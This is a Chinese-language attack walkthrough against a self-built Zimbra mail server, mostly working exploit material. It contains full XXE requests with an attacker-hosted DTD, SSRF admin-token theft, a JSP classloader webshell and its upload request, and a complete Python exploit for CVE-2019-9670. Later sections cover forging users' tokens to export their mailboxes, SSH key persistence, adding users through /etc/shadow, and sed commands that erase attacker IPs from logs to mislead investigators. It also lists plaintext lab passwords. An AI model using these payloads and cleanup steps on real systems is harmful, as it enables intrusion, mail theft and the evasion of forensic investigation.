在这里我们选择使用centos7搭建,具体流程参考下面三个链接即可。
https://blog.csdn.net/u013618714/article/details/115478116
ttps://www.jianshu.com/p/722bc70ff426
https://xz.aliyun.com/t/7991#toc-0
基本信息:
vvvv1.zimbra.com
账户密码:admin@vvvv1.zimbra.com\123456
成功安装后,ping域名即可得到ip:
在外网访问目标网页,发现无法访问,原因是防火墙没有对外开放对应的端口。
开启443端口或者关闭防火墙
iptables -I INPUT -p tcp --dport 443 -j ACCEPT # 开启443端口
关闭防火墙
systemctl stop firewalld
创建用户
zmprov createAccount mary@zimbra.com admin123 displayName 'Mary'
zmprov createAccount tom@zimbra.com admin123 displayName 'Tom'
或者在管理页面创建
root:6*fe~%xX4br)R8piK5Y
vvvv1:R8+)uNIe_$Z~Jmx6hSE
admin@vvvv1.zimbra.com:()5h8G@rv8qebcWCWjxH
zjj@vvvv1.zimbra.com:1a1L+t#L#7Lrh7AO2xi
xyq@vvvv1.zimbra.com:YJzmSl!o1Nwo%$Ld3npl
https://blog.csdn.net/qq_44700119/article/details/129478006
https://cn-sec.com/archives/1165703.html
http://www.xbhp.cn/news/152117.html
POST请求/Autodiscover/Autodiscover.xml
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.52.142
Cookie: ZA_SKIN=serenity; ZA_TEST=true; ZM_TEST=true
Cache-Control: max-age=0
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 350
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
验证成功,返回/etc/passwd内容。
XXE漏洞原理:
http://www.xbhp.cn/news/152117.html
利用xxe漏洞获取zimbra的关键配置文件内容,目的是从配置文件中获取zimbra的用户名及密码信息。对应的关键配置文件为localconfig.xml。
但是还有一个问题:这个目标文件是一个xml文件,因此不能直接在数据包中替换,(由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取)需要借用外部dtd,构造的外部dtd如下:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
将该dtd命名为poc.dtd,并且在目标主机能访问到的主机开启http服务,保证在发送数据包的时候可以成功访问到目标文件,使其远程执行该dtd文件。
kali开启http
python3 -m http.server 7777
发送如下数据包包含远程dtd文件。
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.52.142
Cookie: ZA_SKIN=serenity; ZA_TEST=true; ZM_TEST=true
Cache-Control: max-age=0
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 346
%dtd; %all; ]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request></Autodiscover>
获得密码:3JS3MkuYGG
获取低权限的token
这里是向客户端登陆处/service/soap发送,也可以向管理员登陆处7071端口/service/admin/soap发送payload直接获取高权限token,注意下改端口以及将<AuthRequest xmlns="urn:zimbraAccount">改为<AuthRequest xmlns="urn:zimbraAdmin">即可。
POST /service/soap HTTP/1.1
Host: 192.168.52.142
Content-Length: 469
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>3JS3MkuYGG</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
将获取到的低权限token设置到cookie中,探测是否存在ssrf,注意,修改cookie时如果401错误,将cookie字段ZM_AUTH_TOKEN改为ZM_ADMIN_AUTH_TOKEN即可
POST /service/proxy?target=https://abcd.0lzme4.dnslog.cn HTTP/1.1
Host: 192.168.8.130:7071
Content-Length: 0
Cookie: ZM_ADMIN_AUTH_TOKEN=0_445fad824269f204515a7c310c0fc7fbfcfc425c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637383737333133323439343b747970653d363a7a696d6272613b7469643d31303a313338303230313330343b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
获取高权限的token
ssrf可利用后,结合低权限token获取一个高权限token,将<AuthRequest xmlns="urn:zimbraAccount">改为<AuthRequest xmlns="urn:zimbraAdmin">
POST /service/proxy?target=https://192.168.52.142:7071/service/admin/soap HTTP/1.1
Host: 192.168.52.142:7071
Content-Length: 465
Cookie: ZM_ADMIN_AUTH_TOKEN=0_8461306ed16127d9f1138721e76f49db3b176a4c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638393930353136373739383b747970653d363a7a696d6272613b7469643d31303a313430363031313230313b;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<account by="adminName">zimbra</account>
<password>3JS3MkuYGG</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
利用获取到的高权限token调用文件上传接口/service/extension/clientUploader/upload,上传webshell
上传一句话木马
密码:passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
POST /service/extension/clientUploader/upload HTTP/1.1
Host: 192.168.52.142:7071
Cookie:ZM_ADMIN_AUTH_TOKEN=0_ac132517416ecf59c8e7f0e221f8efcf055e535b_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638393639313639383131313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3232333338353538393b;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Accept: */*
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Length: 2993
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="filename1"
qweqwe
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="clientFile";filename="shell.jsp"
asf
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="requestId"
111111
------WebKitFormBoundaryyfguo5iLr5MUuhaZ--
以上的流程可以编写exp
# References:
# http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce
import requests
import sys
import urllib.parse
import re
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class zimbra_rce(object):
def __init__(self, base_url, dtd_url, file_name, payload_file):
self.base_url = base_url
self.dtd_url = dtd_url
self.low_auth = {}
self.file_name = file_name
self.payload = open(payload_file, "r").read()
self.pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
def upload_dtd_payload(self):
'''
Example DTD payload:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
'''
xxe_payload = r"""
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(self.dtd_url)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',
"Content-Type":"application/xml"
}
print("[*] Uploading DTD.", end="\r")
dtd_request = requests.post(self.base_url+"/Autodiscover/Autodiscover.xml",data=xxe_payload,headers=headers,verify=False,timeout=15)
# print(r.text)
if 'response schema not available' not in dtd_request.text:
print("[-] Site Not Vulnerable To XXE.")
return False
else:
print("[+] Uploaded DTD.")
print("[*] Attempting to extract User/Pass.", end="\r")
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
if pattern_name.findall(dtd_request.text) and pattern_password.findall(dtd_request.text):
username = pattern_name.findall(dtd_request.text)[0][2]
password = pattern_password.findall(dtd_request.text)[0][2]
self.low_auth = {"username" : username, "password" : password}
print("[+] Extracted Username: {} Password: {}".format(username, password))
return True
print("[-] Unable To extract User/Pass.")
return False
def make_xml_auth_body(self, xmlns, username, password):
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="{}">
<account by="adminName">{}</account>
<password>{}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>"""
return auth_body.format(xmlns, username, password)
def gather_low_auth_token(self):
print("[*] Getting Low Privilege Auth Token", end="\r")
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',
"Content-Type":"application/xml"
}
r=requests.post(self.base_url+"/service/soap",data=self.make_xml_auth_body(
"urn:zimbraAccount",
self.low_auth["username"],
self.low_auth["password"]
), headers=headers, verify=False, timeout=15)
low_priv_token = self.pattern_auth_token.findall(r.text)
if low_priv_token:
print("[+] Gathered Low Auth Token.")
return low_priv_token[0].strip()
print("[-] Failed to get Low Auth Token")
return False
def ssrf_admin_token(self, low_priv_token):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',
"Content-Type":"application/xml"
}
headers["Host"]="{}:7071".format(urllib.parse.urlparse(self.base_url).netloc.split(":")[0])
print("[*] Getting Admin Auth Token By SSRF", end="\r")
r = requests.post(self.base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap/AuthRequest",
data=self.make_xml_auth_body(
"urn:zimbraAdmin",
self.low_auth["username"],
self.low_auth["password"]
),
verify=False,
headers=headers,
cookies={"ZM_ADMIN_AUTH_TOKEN":low_priv_token}
)
admin_token = self.pattern_auth_token.findall(r.text)
if admin_token:
print("[+] Gathered Admin Auth Token.")
return admin_token[0].strip()
print("[-] Failed to get Admin Auth Token")
return False
def upload_payload(self, admin_token):
f = {
'filename1':(None, "whatszimbra", None),
'clientFile':(self.file_name, self.payload, "text/plain"),
'requestId':(None, "12356721-3268-3782", None),
}
cookies = {
"ZM_ADMIN_AUTH_TOKEN":admin_token
}
print("[*] Uploading file", end="\r")
r = requests.post(self.base_url+"/service/extension/clientUploader/upload",files=f,
cookies=cookies,
verify=False
)
if r.status_code == 200:
r = requests.get(self.base_url + "/downloads/" + self.file_name,
cookies=cookies,
verify=False
)
if r.status_code != 404: # some jsp shells throw a 500 if invalid parameters are given
print("[+] Uploaded file to: {}/downloads/{}".format(self.base_url, self.file_name))
print("[+] You may need the need cookie: \n{}={};".format("ZM_ADMIN_AUTH_TOKEN", cookies["ZM_ADMIN_AUTH_TOKEN"]))
return True
print("[-] Cannot Upload File.")
return False
def exploit(self):
try:
if self.upload_dtd_payload():
low_auth_token = self.gather_low_auth_token()
if low_auth_token:
admin_auth_token = self.ssrf_admin_token(low_auth_token)
if admin_auth_token:
return self.upload_payload(admin_auth_token)
except Exception as e:
print("Error: {}".format(e))
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Zimbra RCE CVE-2019-9670')
parser.add_argument('-u', '--url', action='store', dest='url',
help='Target url', required=True)
parser.add_argument('-d', '--dtd', action='store', dest='dtd',
help='Url to DTD', required=True)
parser.add_argument('-n', '--name', action='store', dest='payload_name',
help='Name of uploaded payload', required=True)
parser.add_argument('-f', '--file', action='store', dest='payload_file',
help='File containing payload', required=True)
results = parser.parse_args()
z = zimbra_rce(results.url, results.dtd, results.payload_name, results.payload_file)
z.exploit()
这一个漏洞主要分为三部来进行利用:
1.利用XXE漏洞获取到zimbra账号和密码;
2.利用ssrf和zimbra接口调用获取到高权限token;
3.利用高权限token上传webshell进行连接;
通过XXE漏洞读取zimbra账号密码,而zimbra账号是无法进行登录的,但是拥有很高的权限,可以使用该用户的token来调用管理员的api接口。
实际上,只要拥有管理员级别的高权限token,就可以调用接口DelegateAuth来获取其他用户的token,获取到其他用户的token就可以直接登录web网站导出对应的邮件。
请求包构造:
{token}:已经持有的高权限token
{mail}:需要获得的token的用户邮箱名称
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<authToken>{token}</authToken>
</context>
</soap:Header>
<soap:Body>
<DelegateAuthRequest xmlns="urn:zimbraAdmin">
<account by="name">{mail}</account>
</DelegateAuthRequest>
</soap:Body>
</soap:Envelope>
对于使用ssrf的思考:
如果在XXE漏洞存在的情况下,我们已经获取到了zimbra用户的账号密码,那么就可以使用访问/service/soap将zimbra用户的账号密码转化成低权限token,用来访问443端口的网页。
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
但是,如果我们想要获得其他用户的token,就需要访问到7071的管理员页面,假如7071的可以访问的情况下,我们就可以直接调用接口DelegateAuth获取其他用户的token,但是如果目标机器防火墙并未开放7071管理员页面,那么就无法直接访问/service/admin/soap,那么就必须要使用ssrf漏洞了,通过内部访问7071端口,从内部获取其他用户的token,访问/service/proxy?target=https://127.0.0.1:7071/service/admin/soap即可绕过防火墙限制。
通过获取到zimbra账户密码,利用zimbra账户密码转换成token,去获取其他用户的token,然后可以通过其他用户的token去登录其他用户的邮箱,来导出邮件。
利用脚本:
https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py
接口利用:
https://files.zimbra.com/docs/soap_api/8.6.0/api-reference/index.html
https://3gstudent.github.io/Zimbra-SOAP-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97
从web网页导出邮件的方法
获取到用户token后,我们可以在浏览器中导入token,刷新页面就可以进入到网页之中了。
点击首选项->导入/导出处即可导出用户邮件。
当然,也可以通过调用接口来实现。
这个方法适用于获取了zimbra用户的账号以及token,然后获取了其他用户token的。
如何获取其他用户token的方法已经在上文进行介绍了,这里主要介绍导出邮件的接口利用。
只需要一个GET请求即可:
def exportmailall_request(uri,token,mailbox):
from time import localtime, strftime
exporttime = strftime("%Y-%m-%d-%H%M%S", localtime())
filename = "All-" + str(exporttime)
url = uri + "/home/" + mailbox + "/?fmt=tgz&filename=" + filename + "&emptyname=No+Data+to+Export&charset=UTF-8&callback=ZmImportExportController.exportErrorCallback__export1"
headers["Cookie"]="ZM_AUTH_TOKEN="+token+";"
r = requests.get(url,headers=headers,verify=False)
if r.status_code == 200:
print("[*] Try to export the mail")
path = filename + ".tgz"
with open(path, 'wb+') as file_object:
file_object.write(r.content)
print("[+] Save as " + path)
else:
print("[!]")
print(r.status_code)
print(r.text)
方式一主要依赖zimbra账号的token,如果目标修改了zimbra账号密码的话,就无法继续导出邮件。
方式二不依赖zimbra账号,在我们获取了webshell或者有机会以zimbra或者管理员身份执行命令的适合即可使用方式二,而且即使后期对方修改了zimbra账号密码也不影响我们导出其他用户的token。
https://wiki.zimbra.com/wiki/Preauth
预认证攻击:
通过preAuthKey结合用户名、计时器和定时器时间,计算得出的HMAC身份验证的令牌,可用于用户邮箱和SOAP登录。
首先需要生成preAuthKey
搜索zmprov命令地址
find /opt/ -name zmprov
zmrov generateDomainPreAuthKey <domain>
zmprov generateDomainPreAuthKey vvvv1.zimbra.com
读取已有的PreAuthKey
/opt/zimbra/bin/zmprov gd <domain> zimbraPreAuthKey
preAuthKey: cd5df57188a43ed393c4001786a864e3752e21a759383072d02980057637aca2
利用这个key,就可以生成其他用户的token了
def generate_preauth(target, mailbox, preauth_key):
try:
preauth_url = target + "/service/preauth"
timestamp = int(time()*1000)
data = "{mailbox}|name|0|{timestamp}".format(mailbox=mailbox, timestamp=timestamp)
pak = hmac.new(preauth_key.encode(), data.encode(), hashlib.sha1).hexdigest()
print("[+] Preauth url: ")
print("%s?account=%s&expires=0×tamp=%s&preauth=%s"%(preauth_url, mailbox, timestamp, pak))
return timestamp, pak
except Exception as e:
print("[!] Error:%s"%(e))
生成过程:
1.提供URL接口的地方是 /service/preauth? 而这个接口需要接收四个参数分别是
account={account-identifier}
# 这里就是填用户的邮箱地址
by={by-value}
# 这个一般是设置属性,一般默认的是name
timestamp={time}
# 当前时间的时间戳 要在服务器的时间的5分钟内
expires={expires}
# 设置token过期时间,一般设置0是选着默认的过期时间
[&admin=1]
# 这个参数是在请求管理员的预登录才有,并且是请求来自管理端口(https 7071)
preauth={computed-preauth}
这个参数需要依靠上面的值进行计算
2.计算preauth参数的值
将accoun,by,expires,timestamp按照顺序用|连接
accoun|by|expires|timestamp
john.doe@domain.com|name|0|1135280708088
3.然后使用SHA-1 HMAC计算
preauth = hmac("john.doe@domain.com|name|0|1135280708088",
"6b7ead4bd425836e8cf0079cd6c1a05acc127acd07c8ee4b61023e19250e929c");
preauth-value: b248f6cfd027edd45c5369f8490125204772f844
4.最后拼接为url,去请求接口即可
/service/preauth?
account=john.doe@domain.com&expires=0×tamp=1135280708088&preauth=b248f6cfd027edd45c5369f8490125204772f844
代码会自动生成可用的URL,浏览器访问可以登录指定邮箱。
当然,我们也可以生成token来进行使用。
调用接口/service/soap,通过mail、timestamp、pak来生成对应用户的token。
def auth_request_preauth(uri,username,timestamp,pak):
request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account>{username}</account>
<preauth timestamp="{timestamp}" expires="0">{pak}</preauth>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""
try:
r=requests.post(uri+"/service/soap",headers=headers,data=request_body.format(username=username,timestamp=timestamp,pak=pak),verify=False,timeout=15)
if 'authentication failed' in r.text:
print("[-] Authentication failed for %s"%(username))
exit(0)
elif 'authToken' in r.text:
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
token = pattern_auth_token.findall(r.text)[0]
print("[+] Authentication success for %s"%(username))
print("[*] authToken_low:%s"%(token))
return token
else:
print("[!]")
print(r.text)
except Exception as e:
print("[!] Error:%s"%(e))
exit(0)
生成token后就可以导出邮件了,导出邮件的方法也和上面的方法相同,这里就不过多进行叙述了。
为什么可以免密登陆呢?
可以理解为公钥就是一把锁,私钥就是钥匙,如果我们无法登陆对方的机器,将我们的公钥写入对方机器,那么就相当于将对方的锁更换,这样就可以使用我们的钥匙连接。当然,也可以将对方的私钥写入我们的机器,就相当于拿到对方的锁的钥匙,也可以直接连接。
https://www.freebuf.com/sectool/269922.html
当我们获取到了对方root权限,或者拥有对~/.ssh/文件夹的写入权限,那么就可以通过上传自己的公钥,通过保存在本地是私钥与公钥进行认证,达到免密登录。
当然,如果我们没有root权限的话,获取到哪一个用户的权限,就直接在哪个用户目录下的.ssh目录下写入公钥即可。
转到当前用户的HOME目录
cd ~
打印出当前用户的HOME目录路径
echo $HOME
如果HOME目录下没有.ssh文件的话,使用命令创建.ssh文件
ssh localhost
如果对方.ssh文件已经存在authorized_keys文件,那么只能将密钥追加到末尾。
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9Z8d1+ylGbT7AM4IrFYpkhWuCljCtOJ/Mv5bWUiwJHj3oUKZLm2jANlLuBFW1OQ94CPvzAkvnvHx2CXahTIXqiZ4Jb1sdw/FfpYZXTgyBKZ6prKIHBu6oQF+AAHtYjq8Gs2OQvWfXm6eITfO1IknIQN1zRwRZFBGX2SzGZxpKOdHze1Pe6uEwXf9XK4aCpBlCaeEqmtfN3ImDVXEYxWgbp3cKWeZC2FZ2JgvqcfAL2FVJ4BGX7iRSY6l/ETUXlKiVN3ygveLE/pMe4wunBwkQlwqeY+TO7kO7WLuGuzOaPBJk8YmnpbZn/ha3os308xBDdFGwW4eROYZWg60kZAPUeuWotmhFajFvmE1VfXAj8FUyA5yxe4lstmOwq5/zppDSdOvt/7EEGdeb/7KyBjG+9OH/5aOIXnUg6UZC+0XxzoLFVKuJO++JeISDbt1PiOZQQquo6VxCZIJ2ZvaMCoZiA0/ptnJwEOdILP8cu5PkY8FPkx7Jzz6dlPw0kWew/ts= root@kali2023-1' >> authorized_keys
免密登录原理
ssh-keygen -t rsa //生成公钥
id_rsa就是生成的私钥,而id_rsa.pub就是生成的公钥
注意这里要将公钥id_rsa.pub改名为authorized_keys上传至目标服务器的/.ssh文件夹下。并且./ssh 下的文件必须chmod -R 600 .ssh/ 否则权限不够。
修改StrictModes属性(可以选择设置)
默认StrictModes属性是 yes,需要修改成 no。
文件地址:/etc/ssh/sshd_config
启用AuthorizedKeysFile配置(可以选择设置)
配置项AuthorizedKeysFile默认是注释的,需要取消注释。
文件地址:/etc/ssh/sshd_config
重启ssh(一定要)
service sshd restart
然后直接使用ssh连接即可。
/etc/shadow和/etc/passwd是Linux系统中存储用户账户信息的两个重要文件。
当我们拿下root权限,可以进行权限维持,通过复制root用户的/etc/shadow文件和/etc/passwd文件对应行,修改其他用户名,即可达到添加新用户,并可以使用ssh登录。
当我们对网站进行攻击,并且拿下了网站的shell之后,需要对我们的攻击痕迹进行清除,也要对网站进行扫描,观察是否该服务器曾经被其他人员攻击。
我们使用前面的攻击经过了三个步骤:
1.利用XXE漏洞获取到zimbra账号和密码;
2.利用ssrf和zimbra接口调用获取到高权限token;
3.利用高权限token上传webshell进行连接;
zimbra网站日志目录地址为:
/opt/zimbra/log
在步骤一中,我们主要是使用XXE漏洞来远程读取../conf/localconfig.xml文件的内容来获取zimbra用户的账号密码,访问的接口是/Autodiscover/Autodiscover.xml
因此我们这里搜索日志中包含/Autodiscover/Autodiscover.xml的部分。
查看日志中是否存在访问/Autodiscover/Autodiscover.xml的日志,并输出文件名
find /opt/zimbra/log -type f | xargs grep -l -w "/Autodiscover/Autodiscover.xml"
查看该文件中符合条件的行
grep -r -w "/Autodiscover/Autodiscover.xml" /opt/zimbra/log/access_log.2023-07-18
可以发现可疑ip:192.168.52.1。
处理办法
1.如果该ip是我们的ip,那么可以进行痕迹清理;
sed -i '/192.168.52.1/s/.*//g' access_log.2023-07-18
2.如果该ip不是我们的ip,那么需要特别注意,进行记录,有可能是其他同行的攻击痕迹;
在步骤二中,我们是利用ssrf和zimbra接口调用获取到高权限token。
主要利用的特征有如下几个地方
- /service/soap
- /service/admin/soap
- /service/proxy?target=https://127.0.0.1:7071/service/admin/soap
查看存在痕迹的日志文件
find /opt/zimbra/log -type f | xargs grep -l -w "/service/proxy target=https://127.0.0.1:7071/service/admin/soap"
查看对应的行
find /opt/zimbra/log -type f | xargs grep -r -w "/service/proxy?target=https://127.0.0.1:7071/service/admin/soap"
可以发现可疑ip:192.168.52.1。
处理办法
1.如果该ip是我们的ip,那么可以进行痕迹清理;
grep -l '192.168.52.1' /opt/zimbra/log/* | xargs sed -i '/192.168.52.1/s/.*//g'
2.如果该ip不是我们的ip,那么基本可以断定该ip为攻击ip,因为使用了ssrf漏洞攻击;
防御方法
1.添加waf,过滤数据包中的127.0.0.1、localhost等字符,修补ssrf漏洞;
2.上传最新的内存马,介于网站和后台之间,编写规则过滤敏感数据包;
在步骤三中,我们主要是利用高权限token上传webshell进行连接。
主要的特征如下几个地方
查看存在痕迹的文件
find /opt/zimbra/log -type f | xargs grep -l -w "service/extension/clientUploader/upload"
查看对应行
find /opt/zimbra/log -type f | xargs grep -r -w "service/extension/clientUploader/upload"
处理办法
grep -l 'service/extension/clientUploader/upload' /opt/zimbra/log/* | xargs sed -i '/service\/extension\/clientUploader\/upload/s/.*//g'
查找木马
调用上传接口上传的文件会上传到downloads
find /opt/zimbra/log -type f | xargs grep -l -w 'downloads'
连接这个木马势必也会经过这个目录,因此可以作为筛选对象之一。
find /opt/zimbra/log -type f | xargs grep -r -w 'downloads'
grep -r -w 'downloads' /opt/zimbra/log/access_log.2023-07-19
基本可以确定这个木马为shell.jsp
处理办法
grep -l '192.168.52.1' /opt/zimbra/log/* | xargs sed -i '/192..168.52.1/s/.*//g'
查找其他木马
查看后续马是否上传了其他的马,但是没办从日志获得post的具体信息,那么我们只能去通过寻找webapp下的路径的jsp类型的文件搜索他们的内容是否有敏感的函数,例如:getClassLoader()函数
find /opt/zimbra/jetty/webapps/ -type f -name "*.jsp" | xargs grep -l -w "getClassLoader()"
打包分析木马
find /opt/zimbra/jetty/webapps/ -type f -name "*.jsp" | xargs grep -l -w "getClassLoader()" | xargs tar -cvf shell.tar
或者直接打包jsp后缀文件到本地分析
find /opt/zimbra/jetty/webapps/ -type f -name "*.jsp" | xargs tar -cvf shell2.tar
防止其他人继续利用的方法
1.将web网站目录权限设置为只读,导致无法上传文件;
2.将对方木马设置为只读权限,无法连接;
当一个正常的交互式login shell登录后,执行命令时,执行的 HISTSIZE 条命令会被记录到缓冲区里,当用户成功注销时,系统会将 HISTSIZE 条命令写入到 HISTFILE 变量中的文件里面,而 HISTFILE 变量默认的位置就是用户家目录下的**.bash_history(~/.bash_history)**文件。
比较重要的环境变量:
可以使用命令查看所有的环境变量
env
在linux中,如果想要查看单一的环境变量,可以使用下面的命令
echo $变量名称
当我们在渗透过程中,爆破了某台Linux服务器的某个用户的账号,获得了这个账号的密码,或者通过webshell获取到账号密码,这时肯定想登录进去进行后续的渗透工作,但是登录录之后的痕迹、爆破的痕迹要怎么清除呢?
有几个重要的日志文件需要关注
wtmp日志:记录当前和历史登录系统的用户信息。(相关命令:last)
可以替换日志中的IP信息,把假线索给到溯源人员。延缓他们的溯源工作。
使用last命令,查看当前和历史登录信息。
可以发现我们的ip为192.168.52.1,将ip进行替换,达到迷惑攻击者的目的
